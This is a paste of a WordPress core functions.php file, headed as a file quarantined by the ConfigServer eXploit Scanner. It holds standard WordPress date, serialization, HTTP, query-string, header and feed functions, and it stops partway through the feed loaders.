· 9 years ago · Jan 17, 2017, 12:00 AM
1
2 ConfigServer eXploit Scanner - cxs v6.27
3
4File: /home/cxs.quarantine/cxsuser/lhprod/functions.php.1484179336_1
5
6<?php
7/**
8 * Main WordPress API
9 *
10 * @package WordPress
11 */
12
13require( ABSPATH . WPINC . '/option.php' );
14
15/**
16 * Converts given date string into a different format.
17 *
18 * $format should be either a PHP date format string, e.g. 'U' for a Unix
19 * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
20 *
21 * If $translate is true then the given date and format string will
22 * be passed to date_i18n() for translation.
23 *
24 * @since 0.71
25 *
26 * @param string $format Format of the date to return.
27 * @param string $date Date string to convert.
28 * @param bool $translate Whether the return date should be translated. Default is true.
29 * @return string|int Formatted date string, or Unix timestamp.
30 */
31
32function mysql2date( $format, $date, $translate = true ) {
33 if ( empty( $date ) )
34 return false;
35
36 if ( 'G' == $format )
37 return strtotime( $date . ' +0000' );
38
39 $i = strtotime( $date );
40
41 if ( 'U' == $format )
42 return $i;
43
44 if ( $translate )
45 return date_i18n( $format, $i );
46 else
47 return date( $format, $i );
48}
49
50/**
51 * Retrieve the current time based on specified type.
52 *
53 * The 'mysql' type will return the time in the format for MySQL DATETIME field.
54 * The 'timestamp' type will return the current timestamp.
55 *
56 * If $gmt is set to either '1' or 'true', then both types will use GMT time.
57 * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
58 *
59 * @since 1.0.0
60 *
61 * @param string $type Either 'mysql' or 'timestamp'.
62 * @param int|bool $gmt Optional. Whether to use GMT timezone. Default is false.
63 * @return int|string String if $type is 'gmt', int if $type is 'timestamp'.
64 */
65
66function current_time( $type, $gmt = 0 ) {
67 switch ( $type ) {
68 case 'mysql':
69 return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
70 break;
71 case 'timestamp':
72 return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
73 break;
74 }
75}
76
77/**
78 * Retrieve the date in localized format, based on timestamp.
79 *
80 * If the locale specifies the locale month and weekday, then the locale will
81 * take over the format for the date. If it isn't, then the date format string
82 * will be used instead.
83 *
84 * @since 0.71
85 *
86 * @param string $dateformatstring Format to display the date.
87 * @param int $unixtimestamp Optional. Unix timestamp.
88 * @param bool $gmt Optional, default is false. Whether to convert to GMT for time.
89 * @return string The date, translated if locale specifies it.
90 */
91
92function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
93 global $wp_locale;
94 $i = $unixtimestamp;
95
96 if ( false === $i ) {
97 if ( ! $gmt )
98 $i = current_time( 'timestamp' );
99 else
100 $i = time();
101 // we should not let date() interfere with our
102 // specially computed timestamp
103 $gmt = true;
104 }
105
106 // store original value for language with untypical grammars
107 // see http://core.trac.wordpress.org/ticket/9396
108 $req_format = $dateformatstring;
109
110 $datefunc = $gmt? 'gmdate' : 'date';
111
112 if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
113 $datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );
114 $datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
115 $dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );
116 $dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
117 $datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );
118 $datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) );
119 $dateformatstring = ' '.$dateformatstring;
120 $dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
121 $dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
122 $dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
123 $dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
124 $dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
125 $dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
126
127 $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
128 }
129 $timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
130 $timezone_formats_re = implode( '|', $timezone_formats );
131 if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
132 $timezone_string = get_option( 'timezone_string' );
133 if ( $timezone_string ) {
134 $timezone_object = timezone_open( $timezone_string );
135 $date_object = date_create( null, $timezone_object );
136 foreach( $timezone_formats as $timezone_format ) {
137 if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
138 $formatted = date_format( $date_object, $timezone_format );
139 $dateformatstring = ' '.$dateformatstring;
140 $dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
141 $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
142 }
143 }
144 }
145 }
146 $j = @$datefunc( $dateformatstring, $i );
147 // allow plugins to redo this entirely for languages with untypical grammars
148 $j = apply_filters('date_i18n', $j, $req_format, $i, $gmt);
149 return $j;
150}
151
152/**
153 * Convert integer number to format based on the locale.
154 *
155 * @since 2.3.0
156 *
157 * @param int $number The number to convert based on locale.
158 * @param int $decimals Precision of the number of decimal places.
159 * @return string Converted number in string format.
160 */
161
162function number_format_i18n( $number, $decimals = 0 ) {
163 global $wp_locale;
164 $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
165 return apply_filters( 'number_format_i18n', $formatted );
166}
167
168/**
169 * Convert number of bytes largest unit bytes will fit into.
170 *
171 * It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts
172 * number of bytes to human readable number by taking the number of that unit
173 * that the bytes will go into it. Supports TB value.
174 *
175 * Please note that integers in PHP are limited to 32 bits, unless they are on
176 * 64 bit architecture, then they have 64 bit size. If you need to place the
177 * larger size then what PHP integer type will hold, then use a string. It will
178 * be converted to a double, which should always have 64 bit length.
179 *
180 * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
181 * @link http://en.wikipedia.org/wiki/Byte
182 *
183 * @since 2.3.0
184 *
185 * @param int|string $bytes Number of bytes. Note max integer size for integers.
186 * @param int $decimals Precision of number of decimal places. Deprecated.
187 * @return bool|string False on failure. Number string on success.
188 */
189
190function size_format( $bytes, $decimals = 0 ) {
191 $quant = array(
192 // ========================= Origin ====
193 'TB' => 1099511627776, // pow( 1024, 4)
194 'GB' => 1073741824, // pow( 1024, 3)
195 'MB' => 1048576, // pow( 1024, 2)
196 'kB' => 1024, // pow( 1024, 1)
197 'B ' => 1, // pow( 1024, 0)
198 );
199 foreach ( $quant as $unit => $mag )
200 if ( doubleval($bytes) >= $mag )
201 return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
202
203 return false;
204}
205
206/**
207 * Get the week start and end from the datetime or date string from mysql.
208 *
209 * @since 0.71
210 *
211 * @param string $mysqlstring Date or datetime field type from mysql.
212 * @param int $start_of_week Optional. Start of the week as an integer.
213 * @return array Keys are 'start' and 'end'.
214 */
215
216function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
217 $my = substr( $mysqlstring, 0, 4 ); // Mysql string Year
218 $mm = substr( $mysqlstring, 8, 2 ); // Mysql string Month
219 $md = substr( $mysqlstring, 5, 2 ); // Mysql string day
220 $day = mktime( 0, 0, 0, $md, $mm, $my ); // The timestamp for mysqlstring day.
221 $weekday = date( 'w', $day ); // The day of the week from the timestamp
222 if ( !is_numeric($start_of_week) )
223 $start_of_week = get_option( 'start_of_week' );
224
225 if ( $weekday < $start_of_week )
226 $weekday += 7;
227
228 $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); // The most recent week start day on or before $day
229 $end = $start + 7 * DAY_IN_SECONDS - 1; // $start + 7 days - 1 second
230 return compact( 'start', 'end' );
231}
232
233/**
234 * Unserialize value only if it was serialized.
235 *
236 * @since 2.0.0
237 *
238 * @param string $original Maybe unserialized original, if is needed.
239 * @return mixed Unserialized data can be any type.
240 */
241
242function maybe_unserialize( $original ) {
243 if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
244 return @unserialize( $original );
245 return $original;
246}
247
248/**
249 * Check value to find if it was serialized.
250 *
251 * If $data is not an string, then returned value will always be false.
252 * Serialized data is always a string.
253 *
254 * @since 2.0.5
255 *
256 * @param mixed $data Value to check to see if was serialized.
257 * @return bool False if not serialized and true if it was.
258 */
259
260function is_serialized( $data ) {
261 // if it isn't a string, it isn't serialized
262 if ( ! is_string( $data ) )
263 return false;
264 $data = trim( $data );
265 if ( 'N;' == $data )
266 return true;
267 $length = strlen( $data );
268 if ( $length < 4 )
269 return false;
270 if ( ':' !== $data[1] )
271 return false;
272 $lastc = $data[$length-1];
273 if ( ';' !== $lastc && '}' !== $lastc )
274 return false;
275 $token = $data[0];
276 switch ( $token ) {
277 case 's' :
278 if ( '"' !== $data[$length-2] )
279 return false;
280 case 'a' :
281 case 'O' :
282 return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
283 case 'b' :
284 case 'i' :
285 case 'd' :
286 return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data );
287 }
288 return false;
289}
290
291/**
292 * Check whether serialized data is of string type.
293 *
294 * @since 2.0.5
295 *
296 * @param mixed $data Serialized data
297 * @return bool False if not a serialized string, true if it is.
298 */
299
300function is_serialized_string( $data ) {
301 // if it isn't a string, it isn't a serialized string
302 if ( !is_string( $data ) )
303 return false;
304 $data = trim( $data );
305 $length = strlen( $data );
306 if ( $length < 4 )
307 return false;
308 elseif ( ':' !== $data[1] )
309 return false;
310 elseif ( ';' !== $data[$length-1] )
311 return false;
312 elseif ( $data[0] !== 's' )
313 return false;
314 elseif ( '"' !== $data[$length-2] )
315 return false;
316 else
317 return true;
318}
319
320/**
321 * Serialize data, if needed.
322 *
323 * @since 2.0.5
324 *
325 * @param mixed $data Data that might be serialized.
326 * @return mixed A scalar data
327 */
328
329function maybe_serialize( $data ) {
330 if ( is_array( $data ) || is_object( $data ) )
331 return serialize( $data );
332
333 // Double serialization is required for backward compatibility.
334 // See http://core.trac.wordpress.org/ticket/12930
335 if ( is_serialized( $data ) )
336 return serialize( $data );
337
338 return $data;
339}
340
341/**
342 * Retrieve post title from XMLRPC XML.
343 *
344 * If the title element is not part of the XML, then the default post title from
345 * the $post_default_title will be used instead.
346 *
347 * @package WordPress
348 * @subpackage XMLRPC
349 * @since 0.71
350 *
351 * @global string $post_default_title Default XMLRPC post title.
352 *
353 * @param string $content XMLRPC XML Request content
354 * @return string Post title
355 */
356
357function xmlrpc_getposttitle( $content ) {
358 global $post_default_title;
359 if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
360 $post_title = $matchtitle[1];
361 } else {
362 $post_title = $post_default_title;
363 }
364 return $post_title;
365}
366
367/**
368 * Retrieve the post category or categories from XMLRPC XML.
369 *
370 * If the category element is not found, then the default post category will be
371 * used. The return type then would be what $post_default_category. If the
372 * category is found, then it will always be an array.
373 *
374 * @package WordPress
375 * @subpackage XMLRPC
376 * @since 0.71
377 *
378 * @global string $post_default_category Default XMLRPC post category.
379 *
380 * @param string $content XMLRPC XML Request content
381 * @return string|array List of categories or category name.
382 */
383
384function xmlrpc_getpostcategory( $content ) {
385 global $post_default_category;
386 if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
387 $post_category = trim( $matchcat[1], ',' );
388 $post_category = explode( ',', $post_category );
389 } else {
390 $post_category = $post_default_category;
391 }
392 return $post_category;
393}
394
395/**
396 * XMLRPC XML content without title and category elements.
397 *
398 * @package WordPress
399 * @subpackage XMLRPC
400 * @since 0.71
401 *
402 * @param string $content XMLRPC XML Request content
403 * @return string XMLRPC XML Request content without title and category elements.
404 */
405
406function xmlrpc_removepostdata( $content ) {
407 $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
408 $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
409 $content = trim( $content );
410 return $content;
411}
412
413/**
414 * Check content for video and audio links to add as enclosures.
415 *
416 * Will not add enclosures that have already been added and will
417 * remove enclosures that are no longer in the post. This is called as
418 * pingbacks and trackbacks.
419 *
420 * @package WordPress
421 * @since 1.5.0
422 *
423 * @uses $wpdb
424 *
425 * @param string $content Post Content
426 * @param int $post_ID Post ID
427 */
428
429function do_enclose( $content, $post_ID ) {
430 global $wpdb;
431
432 //TODO: Tidy this ghetto code up and make the debug code optional
433 include_once( ABSPATH . WPINC . '/class-IXR.php' );
434
435 $post_links = array();
436
437 $pung = get_enclosed( $post_ID );
438
439 $ltrs = '\w';
440 $gunk = '/#~:.?+=&%@!\-';
441 $punc = '.:?\-';
442 $any = $ltrs . $gunk . $punc;
443
444 preg_match_all( "{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp );
445
446 foreach ( $pung as $link_test ) {
447 if ( !in_array( $link_test, $post_links_temp[0] ) ) { // link no longer in post
448 $mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, like_escape( $link_test ) . '%') );
449 foreach ( $mids as $mid )
450 delete_metadata_by_mid( 'post', $mid );
451 }
452 }
453
454 foreach ( (array) $post_links_temp[0] as $link_test ) {
455 if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
456 $test = @parse_url( $link_test );
457 if ( false === $test )
458 continue;
459 if ( isset( $test['query'] ) )
460 $post_links[] = $link_test;
461 elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )
462 $post_links[] = $link_test;
463 }
464 }
465
466 foreach ( (array) $post_links as $url ) {
467 if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, like_escape( $url ) . '%' ) ) ) {
468
469 if ( $headers = wp_get_http_headers( $url) ) {
470 $len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
471 $type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
472 $allowed_types = array( 'video', 'audio' );
473
474 // Check to see if we can figure out the mime type from
475 // the extension
476 $url_parts = @parse_url( $url );
477 if ( false !== $url_parts ) {
478 $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
479 if ( !empty( $extension ) ) {
480 foreach ( wp_get_mime_types() as $exts => $mime ) {
481 if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
482 $type = $mime;
483 break;
484 }
485 }
486 }
487 }
488
489 if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
490 add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
491 }
492 }
493 }
494 }
495}
496
497/**
498 * Perform a HTTP HEAD or GET request.
499 *
500 * If $file_path is a writable filename, this will do a GET request and write
501 * the file to that path.
502 *
503 * @since 2.5.0
504 *
505 * @param string $url URL to fetch.
506 * @param string|bool $file_path Optional. File path to write request to.
507 * @param int $red (private) The number of Redirects followed, Upon 5 being hit, returns false.
508 * @return bool|string False on failure and string of headers if HEAD request.
509 */
510
511function wp_get_http( $url, $file_path = false, $red = 1 ) {
512 @set_time_limit( 60 );
513
514 if ( $red > 5 )
515 return false;
516
517 $options = array();
518 $options['redirection'] = 5;
519
520 if ( false == $file_path )
521 $options['method'] = 'HEAD';
522 else
523 $options['method'] = 'GET';
524
525 $response = wp_remote_request($url, $options);
526
527 if ( is_wp_error( $response ) )
528 return false;
529
530 $headers = wp_remote_retrieve_headers( $response );
531 $headers['response'] = wp_remote_retrieve_response_code( $response );
532
533 // WP_HTTP no longer follows redirects for HEAD requests.
534 if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
535 return wp_get_http( $headers['location'], $file_path, ++$red );
536 }
537
538 if ( false == $file_path )
539 return $headers;
540
541 // GET request - write it to the supplied filename
542 $out_fp = fopen($file_path, 'w');
543 if ( !$out_fp )
544 return $headers;
545
546 fwrite( $out_fp, wp_remote_retrieve_body( $response ) );
547 fclose($out_fp);
548 clearstatcache();
549
550 return $headers;
551}
552
553/**
554 * Retrieve HTTP Headers from URL.
555 *
556 * @since 1.5.1
557 *
558 * @param string $url
559 * @param bool $deprecated Not Used.
560 * @return bool|string False on failure, headers on success.
561 */
562
563function wp_get_http_headers( $url, $deprecated = false ) {
564 if ( !empty( $deprecated ) )
565 _deprecated_argument( __FUNCTION__, '2.7' );
566
567 $response = wp_remote_head( $url );
568
569 if ( is_wp_error( $response ) )
570 return false;
571
572 return wp_remote_retrieve_headers( $response );
573}
574
575/**
576 * Whether today is a new day.
577 *
578 * @since 0.71
579 * @uses $day Today
580 * @uses $previousday Previous day
581 *
582 * @return int 1 when new day, 0 if not a new day.
583 */
584
585function is_new_day() {
586 global $currentday, $previousday;
587 if ( $currentday != $previousday )
588 return 1;
589 else
590 return 0;
591}
592
593/**
594 * Build URL query based on an associative and, or indexed array.
595 *
596 * This is a convenient function for easily building url queries. It sets the
597 * separator to '&' and uses _http_build_query() function.
598 *
599 * @see _http_build_query() Used to build the query
600 * @link http://us2.php.net/manual/en/function.http-build-query.php more on what
601 * http_build_query() does.
602 *
603 * @since 2.3.0
604 *
605 * @param array $data URL-encode key/value pairs.
606 * @return string URL encoded string
607 */
608
609function build_query( $data ) {
610 return _http_build_query( $data, null, '&', '', false );
611}
612
613// from php.net (modified by Mark Jaquith to behave like the native PHP5 function)
614function _http_build_query($data, $prefix=null, $sep=null, $key='', $urlencode=true) {
615 $ret = array();
616
617 foreach ( (array) $data as $k => $v ) {
618 if ( $urlencode)
619 $k = urlencode($k);
620 if ( is_int($k) && $prefix != null )
621 $k = $prefix.$k;
622 if ( !empty($key) )
623 $k = $key . '%5B' . $k . '%5D';
624 if ( $v === null )
625 continue;
626 elseif ( $v === FALSE )
627 $v = '0';
628
629 if ( is_array($v) || is_object($v) )
630 array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
631 elseif ( $urlencode )
632 array_push($ret, $k.'='.urlencode($v));
633 else
634 array_push($ret, $k.'='.$v);
635 }
636
637 if ( null === $sep )
638 $sep = ini_get('arg_separator.output');
639
640 return implode($sep, $ret);
641}
642
643/**
644 * Retrieve a modified URL query string.
645 *
646 * You can rebuild the URL and append a new query variable to the URL query by
647 * using this function. You can also retrieve the full URL with query data.
648 *
649 * Adding a single key & value or an associative array. Setting a key value to
650 * an empty string removes the key. Omitting oldquery_or_uri uses the $_SERVER
651 * value. Additional values provided are expected to be encoded appropriately
652 * with urlencode() or rawurlencode().
653 *
654 * @since 1.5.0
655 *
656 * @param mixed $param1 Either newkey or an associative_array
657 * @param mixed $param2 Either newvalue or oldquery or uri
658 * @param mixed $param3 Optional. Old query or uri
659 * @return string New URL query string.
660 */
661
662function add_query_arg() {
663 $ret = '';
664 $args = func_get_args();
665 if ( is_array( $args[0] ) ) {
666 if ( count( $args ) < 2 || false === $args[1] )
667 $uri = $_SERVER['REQUEST_URI'];
668 else
669 $uri = $args[1];
670 } else {
671 if ( count( $args ) < 3 || false === $args[2] )
672 $uri = $_SERVER['REQUEST_URI'];
673 else
674 $uri = $args[2];
675 }
676
677 if ( $frag = strstr( $uri, '#' ) )
678 $uri = substr( $uri, 0, -strlen( $frag ) );
679 else
680 $frag = '';
681
682 if ( 0 === stripos( 'http://', $uri ) ) {
683 $protocol = 'http://';
684 $uri = substr( $uri, 7 );
685 } elseif ( 0 === stripos( 'https://', $uri ) ) {
686 $protocol = 'https://';
687 $uri = substr( $uri, 8 );
688 } else {
689 $protocol = '';
690 }
691
692 if ( strpos( $uri, '?' ) !== false ) {
693 $parts = explode( '?', $uri, 2 );
694 if ( 1 == count( $parts ) ) {
695 $base = '?';
696 $query = $parts[0];
697 } else {
698 $base = $parts[0] . '?';
699 $query = $parts[1];
700 }
701 } elseif ( $protocol || strpos( $uri, '=' ) === false ) {
702 $base = $uri . '?';
703 $query = '';
704 } else {
705 $base = '';
706 $query = $uri;
707 }
708
709 wp_parse_str( $query, $qs );
710 $qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
711 if ( is_array( $args[0] ) ) {
712 $kayvees = $args[0];
713 $qs = array_merge( $qs, $kayvees );
714 } else {
715 $qs[ $args[0] ] = $args[1];
716 }
717
718 foreach ( $qs as $k => $v ) {
719 if ( $v === false )
720 unset( $qs[$k] );
721 }
722
723 $ret = build_query( $qs );
724 $ret = trim( $ret, '?' );
725 $ret = preg_replace( '#=(&|$)#', '$1', $ret );
726 $ret = $protocol . $base . $ret . $frag;
727 $ret = rtrim( $ret, '?' );
728 return $ret;
729}
730
731/**
732 * Removes an item or list from the query string.
733 *
734 * @since 1.5.0
735 *
736 * @param string|array $key Query key or keys to remove.
737 * @param bool $query When false uses the $_SERVER value.
738 * @return string New URL query string.
739 */
740
741function remove_query_arg( $key, $query=false ) {
742 if ( is_array( $key ) ) { // removing multiple keys
743 foreach ( $key as $k )
744 $query = add_query_arg( $k, false, $query );
745 return $query;
746 }
747 return add_query_arg( $key, false, $query );
748}
749
750/**
751 * Walks the array while sanitizing the contents.
752 *
753 * @since 0.71
754 *
755 * @param array $array Array to used to walk while sanitizing contents.
756 * @return array Sanitized $array.
757 */
758
759function add_magic_quotes( $array ) {
760 foreach ( (array) $array as $k => $v ) {
761 if ( is_array( $v ) ) {
762 $array[$k] = add_magic_quotes( $v );
763 } else {
764 $array[$k] = addslashes( $v );
765 }
766 }
767 return $array;
768}
769
770/**
771 * HTTP request for URI to retrieve content.
772 *
773 * @since 1.5.1
774 * @uses wp_remote_get()
775 *
776 * @param string $uri URI/URL of web page to retrieve.
777 * @return bool|string HTTP content. False on failure.
778 */
779
780function wp_remote_fopen( $uri ) {
781 $parsed_url = @parse_url( $uri );
782
783 if ( !$parsed_url || !is_array( $parsed_url ) )
784 return false;
785
786 $options = array();
787 $options['timeout'] = 10;
788
789 $response = wp_remote_get( $uri, $options );
790
791 if ( is_wp_error( $response ) )
792 return false;
793
794 return wp_remote_retrieve_body( $response );
795}
796
797/**
798 * Set up the WordPress query.
799 *
800 * @since 2.0.0
801 *
802 * @param string $query_vars Default WP_Query arguments.
803 */
804
805function wp( $query_vars = '' ) {
806 global $wp, $wp_query, $wp_the_query;
807 $wp->main( $query_vars );
808
809 if ( !isset($wp_the_query) )
810 $wp_the_query = $wp_query;
811}
812
813/**
814 * Retrieve the description for the HTTP status.
815 *
816 * @since 2.3.0
817 *
818 * @param int $code HTTP status code.
819 * @return string Empty string if not found, or description if found.
820 */
821
822function get_status_header_desc( $code ) {
823 global $wp_header_to_desc;
824
825 $code = absint( $code );
826
827 if ( !isset( $wp_header_to_desc ) ) {
828 $wp_header_to_desc = array(
829 100 => 'Continue',
830 101 => 'Switching Protocols',
831 102 => 'Processing',
832
833 200 => 'OK',
834 201 => 'Created',
835 202 => 'Accepted',
836 203 => 'Non-Authoritative Information',
837 204 => 'No Content',
838 205 => 'Reset Content',
839 206 => 'Partial Content',
840 207 => 'Multi-Status',
841 226 => 'IM Used',
842
843 300 => 'Multiple Choices',
844 301 => 'Moved Permanently',
845 302 => 'Found',
846 303 => 'See Other',
847 304 => 'Not Modified',
848 305 => 'Use Proxy',
849 306 => 'Reserved',
850 307 => 'Temporary Redirect',
851
852 400 => 'Bad Request',
853 401 => 'Unauthorized',
854 402 => 'Payment Required',
855 403 => 'Forbidden',
856 404 => 'Not Found',
857 405 => 'Method Not Allowed',
858 406 => 'Not Acceptable',
859 407 => 'Proxy Authentication Required',
860 408 => 'Request Timeout',
861 409 => 'Conflict',
862 410 => 'Gone',
863 411 => 'Length Required',
864 412 => 'Precondition Failed',
865 413 => 'Request Entity Too Large',
866 414 => 'Request-URI Too Long',
867 415 => 'Unsupported Media Type',
868 416 => 'Requested Range Not Satisfiable',
869 417 => 'Expectation Failed',
870 422 => 'Unprocessable Entity',
871 423 => 'Locked',
872 424 => 'Failed Dependency',
873 426 => 'Upgrade Required',
874
875 500 => 'Internal Server Error',
876 501 => 'Not Implemented',
877 502 => 'Bad Gateway',
878 503 => 'Service Unavailable',
879 504 => 'Gateway Timeout',
880 505 => 'HTTP Version Not Supported',
881 506 => 'Variant Also Negotiates',
882 507 => 'Insufficient Storage',
883 510 => 'Not Extended'
884 );
885 }
886
887 if ( isset( $wp_header_to_desc[$code] ) )
888 return $wp_header_to_desc[$code];
889 else
890 return '';
891}
892
893/**
894 * Set HTTP status header.
895 *
896 * @since 2.0.0
897 * @uses apply_filters() Calls 'status_header' on status header string, HTTP
898 * HTTP code, HTTP code description, and protocol string as separate
899 * parameters.
900 *
901 * @param int $header HTTP status code
902 * @return unknown
903 */
904
905function status_header( $header ) {
906 $text = get_status_header_desc( $header );
907
908 if ( empty( $text ) )
909 return false;
910
911 $protocol = $_SERVER["SERVER_PROTOCOL"];
912 if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
913 $protocol = 'HTTP/1.0';
914 $status_header = "$protocol $header $text";
915 if ( function_exists( 'apply_filters' ) )
916 $status_header = apply_filters( 'status_header', $status_header, $header, $text, $protocol );
917
918 return @header( $status_header, true, $header );
919}
920
921/**
922 * Gets the header information to prevent caching.
923 *
924 * The several different headers cover the different ways cache prevention is handled
925 * by different browsers
926 *
927 * @since 2.8.0
928 *
929 * @uses apply_filters()
930 * @return array The associative array of header names and field values.
931 */
932
933function wp_get_nocache_headers() {
934 $headers = array(
935 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
936 'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
937 'Pragma' => 'no-cache',
938 );
939
940 if ( function_exists('apply_filters') ) {
941 $headers = (array) apply_filters('nocache_headers', $headers);
942 }
943 $headers['Last-Modified'] = false;
944 return $headers;
945}
946
947/**
948 * Sets the headers to prevent caching for the different browsers.
949 *
950 * Different browsers support different nocache headers, so several headers must
951 * be sent so that all of them get the point that no caching should occur.
952 *
953 * @since 2.0.0
954 * @uses wp_get_nocache_headers()
955 */
956
957function nocache_headers() {
958 $headers = wp_get_nocache_headers();
959
960 unset( $headers['Last-Modified'] );
961
962 // In PHP 5.3+, make sure we are not sending a Last-Modified header.
963 if ( function_exists( 'header_remove' ) ) {
964 @header_remove( 'Last-Modified' );
965 } else {
966 // In PHP 5.2, send an empty Last-Modified header, but only as a
967 // last resort to override a header already sent. #WP23021
968 foreach ( headers_list() as $header ) {
969 if ( 0 === stripos( $header, 'Last-Modified' ) ) {
970 $headers['Last-Modified'] = '';
971 break;
972 }
973 }
974 }
975
976 foreach( $headers as $name => $field_value )
977 @header("{$name}: {$field_value}");
978}
979
980/**
981 * Set the headers for caching for 10 days with JavaScript content type.
982 *
983 * @since 2.1.0
984 */
985
986function cache_javascript_headers() {
987 $expiresOffset = 10 * DAY_IN_SECONDS;
988 header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
989 header( "Vary: Accept-Encoding" ); // Handle proxies
990 header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
991}
992
993/**
994 * Retrieve the number of database queries during the WordPress execution.
995 *
996 * @since 2.0.0
997 *
998 * @return int Number of database queries
999 */
1000
1001function get_num_queries() {
1002 global $wpdb;
1003 return $wpdb->num_queries;
1004}
1005
1006/**
1007 * Whether input is yes or no. Must be 'y' to be true.
1008 *
1009 * @since 1.0.0
1010 *
1011 * @param string $yn Character string containing either 'y' or 'n'
1012 * @return bool True if yes, false on anything else
1013 */
1014
1015function bool_from_yn( $yn ) {
1016 return ( strtolower( $yn ) == 'y' );
1017}
1018
1019/**
1020 * Loads the feed template from the use of an action hook.
1021 *
1022 * If the feed action does not have a hook, then the function will die with a
1023 * message telling the visitor that the feed is not valid.
1024 *
1025 * It is better to only have one hook for each feed.
1026 *
1027 * @since 2.1.0
1028 * @uses $wp_query Used to tell if the use a comment feed.
1029 * @uses do_action() Calls 'do_feed_$feed' hook, if a hook exists for the feed.
1030 */
1031
1032function do_feed() {
1033 global $wp_query;
1034
1035 $feed = get_query_var( 'feed' );
1036
1037 // Remove the pad, if present.
1038 $feed = preg_replace( '/^_+/', '', $feed );
1039
1040 if ( $feed == '' || $feed == 'feed' )
1041 $feed = get_default_feed();
1042
1043 $hook = 'do_feed_' . $feed;
1044 if ( !has_action($hook) ) {
1045 $message = sprintf( __( 'ERROR: %s is not a valid feed template.' ), esc_html($feed));
1046 wp_die( $message, '', array( 'response' => 404 ) );
1047 }
1048
1049 do_action( $hook, $wp_query->is_comment_feed );
1050}
1051
1052/**
1053 * Load the RDF RSS 0.91 Feed template.
1054 *
1055 * @since 2.1.0
1056 */
1057
1058function do_feed_rdf() {
1059 load_template( ABSPATH . WPINC . '/feed-rdf.php' );
1060}
1061
1062/**
1063 * Load the RSS 1.0 Feed Template.
1064 *
1065 * @since 2.1.0
1066 */
1067
1068function do_feed_rss() {
1069 load_template( ABSPATH . WPINC . '/feed-rss.php' );
1070}
1071
1072/**
1073 * Load either the RSS2 comment feed or the RSS2 posts feed.
1074 *
1075 * @since 2.1.0
1076 *
1077 * @param bool $for_comments True for the comment feed, false for normal feed.
1078 */
1079
1080function do_feed_rss2( $for_comments ) {
1081 if ( $for_comments )
1082 load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
1083 else
1084 load_template( ABSPATH . WPINC . '/feed-rss2.php' );
